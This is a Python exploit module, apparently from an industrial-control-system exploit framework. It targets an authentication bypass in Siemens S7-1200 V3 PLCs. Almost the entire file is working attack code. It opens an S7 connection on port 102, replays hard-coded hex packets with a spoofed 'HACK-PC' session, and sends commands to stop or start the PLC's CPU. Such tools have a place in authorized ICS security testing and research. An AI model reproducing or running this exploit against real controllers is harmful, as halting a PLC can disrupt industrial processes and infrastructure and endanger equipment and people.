#!/usr/bin/env python
# coding=utf-8

from scapy.all import *
from core.exploit import *
from s7.plc import *


class MyScript(BaseExploit):
    register_info = {
		'ID' : 'ICF-2017-00010005',
        'Name' : '西门子 S7-1200 V3 PLC CPU控制',
		'Author' : ['w3h', 'wenzhe zhu'],
		'License': ISF_LICENSE,
        'Create_Date' : '2016-04-09',
        'Description' : '''西门子 S7-1200 V3 PLC的CPU控制指定验证机制存在绕过漏洞，导致攻击者可以向PLC发送CPU控制指令。''',

        'Vendor' : VENDOR.SI,
        'Device' : ['S7-1200'],
        'App' : '',
        'Protocol' : 's7',
        'References': {'CVE': '', 'CNVD': '', 'OSVDB': '', 'CNNVD': ''},

        'Risk' : RISK.H, #H/M/L
        'VulType' : VULTYPE.REP
    }

    register_options = [
		mkopt_rport(102),
		mkopt('--Command', action='store', dest='Command', type='string',
            default="stop", help='The cpu control cmd [stop/start].'),
    ]

    def start_ctrl(self, payload):
        session = "01c9c380"
        host_session = "HACK-PC_882330"
        ctop_connect_packet = ('030000231ee00000000100c1020600c20f53494d415449432d524f4f542d4553c0010a').decode('hex')
        start_session_packet = (
	        '030000dd02f080720100ce31000004ca0000000100000120360000011d00040000000000a1000000d3821f0000a3816900151553657276657253657373696f6e5f31433943333830a3822100152c313a3a3a362e303a3a5443502f4950202d3e20496e74656c2852292050524f2f31303030204d54204e2e2e2ea38228001500a38229001500a3822a00150e4841434b2d50435f323832333330a3822b000401a3822c001201c9c380a3822d001500a1000000d3817f0000a38169001515537562736372697074696f6e436f6e7461696e6572a2a20000000072010000').decode(
		        'hex')

        s = socket.socket()
        s.connect((self.TargetIp, int(self.TargetPort)))
        s.send(ctop_connect_packet)
        time.sleep(0.2)
        s.recv(1024)
        # get session
        packet = start_session_packet[:165] + session.decode('hex') + start_session_packet[169:]
        packet = packet[:65] + session[1:] + packet[72:140] + host_session + packet[154:]
        s.send(packet)
        rep = s.recv(1024)
        session1 = 896 + struct.unpack('>B', rep[24:25])[0]
        session2 = struct.pack('>L', session1)
        # start_ctrl
        seq = struct.pack('>H', 2)
        payload2 = payload[:18] + seq + session2 + payload[24:]
        s.send(payload2)
        rep3 = s.recv(1024)
        s.close()

    def exploit(self, *args, **kwargs):
        start_cpu_packet = (
		    '0300004302f0807202003431000004f20000000f0000038a3400000034019077000803000004e88969001200000000896a001300896b00040000000000000072020000').decode(
			    'hex')
        stop_cpu_packet = (
		    '0300004302f0807202003431000004f20000000f000003a03400000034019077000801000004e88969001200000000896a001300896b00040000000000000072020000').decode(
			    'hex')

        cmd = self.getParam("Command")
        if cmd == "start":
            print("Start plc")
            self.start_ctrl(start_cpu_packet)
        elif cmd == "stop":
            print("Stop plc")
            self.start_ctrl(stop_cpu_packet)
        else:
            raise

MainEntry(MyScript, __name__)
